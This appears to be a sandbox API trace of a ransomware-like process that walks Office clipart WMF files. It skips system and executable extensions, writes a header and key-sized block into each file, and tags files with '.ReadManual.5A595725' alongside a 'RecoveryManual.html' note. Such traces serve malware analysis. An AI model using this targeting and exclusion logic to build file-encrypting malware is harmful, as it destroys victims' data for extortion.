WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.022] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1df8) returned 0x2f0000 [0269.022] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.023] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38969134149) returned 1 [0269.023] CloseHandle (hObject=0x184) returned 1 [0269.023] SetSecurityInfo () returned 0x57 [0269.023] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.023] CloseHandle (hObject=0x194) returned 1 [0269.023] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1 [0269.023] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0240175.WMF" | out: lpString1="J0240175.WMF") returned="J0240175.WMF" [0269.023] lstrcmpiW (lpString1="J0240175.WMF", lpString2="RecoveryManual.html") returned -1 [0269.023] StrStrIW (lpFirst="J0240175.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.023] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.023] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.023] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" [0269.023] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.ReadManual.5A595725" [0269.024] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.ReadManual.5A595725") returned 87 [0269.024] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38969230893) returned 1 [0269.024] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf")) returned 0x20 [0269.024] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.024] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42000) returned 1 [0269.024] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa410, lpName=0x0) returned 0x184 [0269.024] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.025] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.025] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.027] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.027] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa410) returned 0x2f0000 [0269.029] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.029] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38969774955) returned 1 [0269.029] CloseHandle (hObject=0x184) returned 1 [0269.029] SetSecurityInfo () returned 0x57 [0269.029] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.029] CloseHandle (hObject=0x194) returned 1 [0269.029] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1 [0269.029] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0240189.WMF" | out: lpString1="J0240189.WMF") returned="J0240189.WMF" [0269.029] lstrcmpiW (lpString1="J0240189.WMF", lpString2="RecoveryManual.html") returned -1 [0269.029] StrStrIW (lpFirst="J0240189.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.029] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.029] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.029] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.030] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.030] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" [0269.030] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.ReadManual.5A595725" [0269.030] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.ReadManual.5A595725") returned 87 [0269.030] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38969872744) returned 1 [0269.030] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf")) returned 0x20 [0269.030] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.031] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3524) returned 1 [0269.031] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc4, lpName=0x0) returned 0x184 [0269.031] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.031] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.031] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.034] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.034] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc4) returned 0x2f0000 [0269.034] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.034] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38970327468) returned 1 [0269.035] CloseHandle (hObject=0x184) returned 1 [0269.035] SetSecurityInfo () returned 0x57 [0269.035] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.035] CloseHandle (hObject=0x194) returned 1 [0269.035] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1 [0269.035] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0240291.WMF" | out: lpString1="J0240291.WMF") returned="J0240291.WMF" [0269.036] lstrcmpiW (lpString1="J0240291.WMF", lpString2="RecoveryManual.html") returned -1 [0269.036] StrStrIW (lpFirst="J0240291.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.036] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.036] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.036] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" [0269.036] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.ReadManual.5A595725" [0269.036] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.ReadManual.5A595725") returned 87 [0269.036] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38970486692) returned 1 [0269.036] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf")) returned 0x20 [0269.036] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.037] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5238) returned 1 [0269.037] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1476, lpName=0x0) returned 0x184 [0269.037] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.037] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.037] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.039] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.039] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1476) returned 0x2f0000 [0269.039] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.039] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38970825885) returned 1 [0269.040] CloseHandle (hObject=0x184) returned 1 [0269.040] SetSecurityInfo () returned 0x57 [0269.040] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.040] CloseHandle (hObject=0x194) returned 1 [0269.040] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1 [0269.040] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0241019.WMF" | out: lpString1="J0241019.WMF") returned="J0241019.WMF" [0269.040] lstrcmpiW (lpString1="J0241019.WMF", lpString2="RecoveryManual.html") returned -1 [0269.040] StrStrIW (lpFirst="J0241019.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.040] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.040] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.040] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" [0269.040] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.ReadManual.5A595725" [0269.040] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.ReadManual.5A595725") returned 87 [0269.040] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38970926194) returned 1 [0269.041] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf")) returned 0x20 [0269.041] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.042] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2350) returned 1 [0269.042] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x92e, lpName=0x0) returned 0x184 [0269.042] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.044] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.044] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.046] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.046] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x92e) returned 0x2f0000 [0269.046] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.046] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38971467280) returned 1 [0269.046] CloseHandle (hObject=0x184) returned 1 [0269.046] SetSecurityInfo () returned 0x57 [0269.046] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.046] CloseHandle (hObject=0x194) returned 1 [0269.046] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1 [0269.046] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0241037.WMF" | out: lpString1="J0241037.WMF") returned="J0241037.WMF" [0269.046] lstrcmpiW (lpString1="J0241037.WMF", lpString2="RecoveryManual.html") returned -1 [0269.046] StrStrIW (lpFirst="J0241037.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.046] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.046] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.046] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.046] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.046] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.047] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.047] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.047] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.047] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.047] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.047] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.047] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.047] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.047] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.047] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" [0269.047] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.ReadManual.5A595725" [0269.047] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.ReadManual.5A595725") returned 87 [0269.047] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38971566707) returned 1 [0269.047] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf")) returned 0x20 [0269.047] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.047] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2638) returned 1 [0269.047] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa4e, lpName=0x0) returned 0x184 [0269.048] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.048] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.048] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.050] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.050] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa4e) returned 0x2f0000 [0269.050] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.050] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38971879636) returned 1 [0269.050] CloseHandle (hObject=0x184) returned 1 [0269.050] SetSecurityInfo () returned 0x57 [0269.050] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.050] CloseHandle (hObject=0x194) returned 1 [0269.050] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1 [0269.050] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0241041.WMF" | out: lpString1="J0241041.WMF") returned="J0241041.WMF" [0269.050] lstrcmpiW (lpString1="J0241041.WMF", lpString2="RecoveryManual.html") returned -1 [0269.050] StrStrIW (lpFirst="J0241041.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.050] StrCmpIW (psz1="WMF", psz2="exe") returned 1 